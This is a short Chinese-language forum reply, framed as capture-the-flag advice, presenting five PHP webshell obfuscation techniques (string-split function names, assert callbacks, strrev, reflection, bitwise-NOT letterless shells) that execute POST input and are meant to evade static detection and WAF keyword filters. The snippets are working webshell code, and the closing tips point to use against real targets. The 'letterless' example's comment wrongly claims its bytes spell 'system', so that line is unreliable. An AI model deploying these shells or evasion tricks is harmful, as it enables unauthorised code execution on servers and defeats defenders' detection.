CTF里这种题确实经典,说几个实战思路:
1. 变量函数拼接
$a = "sys"."tem";
$b = $a($_POST['x']);
把关键函数拆开拼接,特征码匹配容易漏。
2. 回调函数变形
array_map("assert", array($_POST['x']));
用回调函数包装assert/exec,比直接调用隐蔽。
3. 字符串处理绕过
$func = strrev("metsys"); // system反转
$func($_POST['x']);
配合chr()、base64_decode()之类的,把函数名彻底打散。
4. 反射和动态调用
$func = new ReflectionFunction($_POST['f']);
$func->invoke($_POST['x']);
用反射API动态调用,完全看不到直接的函数调用语句。
5. 无字母webshell
针对关键词过滤,用异或或取反构造字符:
$_ = ~'%9e%8c%8c%9a%93%93%88'; // ~('system')
$_();
实战中最稳的还是回调嵌套 + 字符串处理组合,基本能过大部分静态检测。拿到shell之后记得看看目标WAF是啥,有的用自定义关键词匹配,换个编码方式就过了。
比赛加油,细节问题可以再问。